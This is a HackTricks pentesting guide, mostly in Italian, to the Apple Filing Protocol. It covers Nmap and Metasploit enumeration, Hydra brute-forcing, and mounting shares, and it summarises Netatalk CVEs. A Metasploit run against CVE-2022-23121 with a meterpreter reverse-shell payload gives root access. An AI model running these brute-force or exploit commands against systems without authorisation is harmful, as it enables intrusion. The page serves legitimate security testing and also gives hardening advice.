548 - Pentesting Apple Filing Protocol (AFP)

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Informazioni di base

The Apple Filing Protocol (AFP), once known as AppleTalk Filing Protocol, is a specialized network protocol included within Apple File Service (AFS). It is designed to provide file services for macOS and the classic Mac OS. AFP stands out for supporting Unicode file names, POSIX-style and ACL permissions, resource forks, named extended attributes and sophisticated file-locking mechanisms.

Sebbene AFP sia stato sostituito da SMB nelle release moderne di macOS (SMB è il predefinito da OS X 10.9), è ancora presente in:

  • Ambienti macOS legacy / Mac OS 9
  • Appliance NAS (QNAP, Synology, Western Digital, TrueNAS…) che integrano il daemon open-source Netatalk
  • Reti con sistemi operativi misti dove Time-Machine-over-AFP è ancora abilitato

Default TCP Port: 548 (AFP over TCP / DSI)

PORT     STATE SERVICE
548/tcp  open  afp

Enumerazione

# Metasploit auxiliary
use auxiliary/scanner/afp/afp_server_info
run RHOSTS=<IP>

# Nmap NSE
nmap -p 548 -sV --script "afp-* and not dos" <IP>

Script NSE AFP utili:

ScriptCosa fa
afp-lsElenca i volumi e i file AFP disponibili
afp-bruteBrute-force delle password contro il login AFP
afp-serverinfoDump del nome del server, tipo di macchina, versione AFP, UAMs supportati, ecc.
afp-showmountElenca le share insieme alle loro ACLs
afp-path-vulnRileva (e può sfruttare) directory-traversal, CVE-2010-0533

Lo script NSE di brute-force può essere combinato con Hydra/Medusa se è necessario maggiore controllo:

hydra -L users.txt -P passwords.txt afp://<IP>

Se hai già credenziali, gli script AFP di Nmap diventano molto più utili perché afp-serverinfo leaks le UAMs (auth methods), mentre afp-showmount e afp-ls possono enumerare shares raggiungibili, ACLs e file interessanti:

nmap -p 548 --script afp-serverinfo,afp-showmount,afp-ls \
--script-args 'afp.username=<USER>,afp.password=<PASS>,ls.maxdepth=2,ls.maxfiles=50' <IP>

Pay attention to:

  • Machine Type: Netatalk nell’output di afp-serverinfo, che di solito indica un host NAS/Unix piuttosto che l’implementazione AFP di Apple.
  • UAMs come DHX, DHX2, Cleartxt o Guest, perché indicano direttamente i percorsi di login raggiungibili e se l’autenticazione legacy / debole è abilitata.
  • Share ACLs da afp-showmount; condivisioni leggibili da tutti o in stile drop-box spesso espongono backup, file .appl e metadata utente prima ancora che tu monti il volume.

Interacting with shares

macOS

# Finder → Go → "Connect to Server…"
# or from terminal
mkdir /Volumes/afp
mount_afp afp://USER:[email protected]/SHARE /Volumes/afp

Linux (usando afpfs-ng ‑ fornito nella maggior parte delle distros)

apt install afpfs-ng
mkdir /mnt/afp
mount_afp afp://USER:[email protected]/SHARE /mnt/afp
# or interactive client
afp_client <IP>

Una volta montato, ricorda che i resource-fork classici dei Mac sono memorizzati come file AppleDouble nascosti ._* — questi spesso contengono metadati interessanti che gli strumenti DFIR non rilevano.

Sui target Netatalk questo backend dei metadati influisce anche sull’exploitability:

  • ea = ad significa che i metadati sono memorizzati in file AppleDouble v2 / directory .AppleDouble.
  • ea = sys o ea = samba memorizzano invece i metadati negli attributi estesi del filesystem.
  • In Netatalk 4.2+ la vecchia opzione appledouble è stata rimossa e il backend è controllato unicamente tramite l’opzione ea.

Da una prospettiva offensiva, questo ti permette di decidere rapidamente se i bug orientati ad AppleDouble sono più probabilmente raggiungibili sul server.


Vulnerabilità comuni & Sfruttamento

Netatalk: catena RCE non autenticata (2022)

Alcuni vendor NAS hanno fornito Netatalk ≤3.1.12. Una mancanza di controllo dei limiti in parse_entries() permette a un attaccante di costruire un header AppleDouble maligno e ottenere remote root prima dell’autenticazione (CVSS 9.8 – CVE-2022-23121). È disponibile un write-up completo di NCC Group con PoC che sfrutta Western-Digital PR4100.

Metasploit (>= 6.3) include il modulo exploit/linux/netatalk/parse_entries che consegna il payload tramite DSI WRITE.

use exploit/linux/netatalk/parse_entries
set RHOSTS <IP>
set TARGET 0   # Automatic (Netatalk)
set PAYLOAD linux/x64/meterpreter_reverse_tcp
run

If the target runs an affected QNAP/Synology firmware, successful exploitation yields a shell as root.

Netatalk OpenSession heap overflow (2018)

Older Netatalk (3.0.0 - 3.1.11) is vulnerable to an out-of-bounds write in the DSI OpenSession handler allowing unauthenticated code execution (CVE-2018-1160). A detailed analysis and PoC were published by Tenable Research.

Nuova superficie di attacco di Netatalk (2022-2024)

Recent Netatalk advisories show that the attack surface is no longer limited to parse_entries() and OpenSession handling:

  • CVE-2022-45188: a specially crafted .appl file can trigger a heap overflow in afp_getappl; this is especially relevant if you can write files into a share and the server runs FCE / notify features.
  • CVE-2023-42464: a type confusion bug in the Spotlight RPC handlers can become reachable when spotlight = yes is enabled in afp.conf (disabled by default).
  • CVE-2024-38439 / CVE-2024-38440 / CVE-2024-38441: one-byte heap out-of-bounds writes in login-related paths fixed in Netatalk 2.4.1 / 3.1.19 / 3.2.1. These bugs are interesting because exploitability depends on the configured UAMs:
  • uams_clrtxt.so + PAM-backed ClearTxt login exposes the FPLoginExt path relevant to CVE-2024-38439.
  • uams_dhx.so + PAM-backed DHX login reaches the vulnerable path for CVE-2024-38440.
  • uams_guest.so keeps the Guest login path reachable for CVE-2024-38441.

Ciò significa che l’output di afp-serverinfo non è solo dato di fingerprinting; ti aiuta a decidere quale login parser è esposto prima di spendere tempo nello sviluppo dell’exploit o nella triage del firmware NAS.

Other notable issues

  • CVE-2022-22995 – Redirezione di symlink che porta a scrittura arbitraria di file / RCE quando AppleDouble v2 è abilitato (3.1.0 - 3.1.17).
  • CVE-2010-0533 – Directory traversal in Apple Mac OS X 10.6 AFP (detected by afp-path-vuln.nse).
  • Multiple memory-safety bugs were fixed again during the 2024 Netatalk releases; if you identify Netatalk in afp-serverinfo, spend a minute correlating the exposed UAMs / Spotlight / metadata backend with the server version before assuming only the 2018/2022 bugs matter.

Raccomandazioni difensive

  1. Disabilitare AFP salvo che non sia strettamente necessario – usare SMB3 o NFS invece.
  2. Se AFP deve restare, aggiornare Netatalk a ≥ 3.1.18 o 4.x, o applicare firmware vendor che retroportano le patch 2022/2023/2024.
  3. Applicare Strong UAMs (es. DHX2), disabilitare login in clear-text e guest.
  4. Restringere TCP 548 alle subnet di fiducia e inserire AFP all’interno di una VPN quando esposto da remoto.
  5. Scansionare periodicamente con nmap -p 548 --script afp-* in CI/CD per rilevare appliance rogue o downgraded.

Brute-Force

References

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks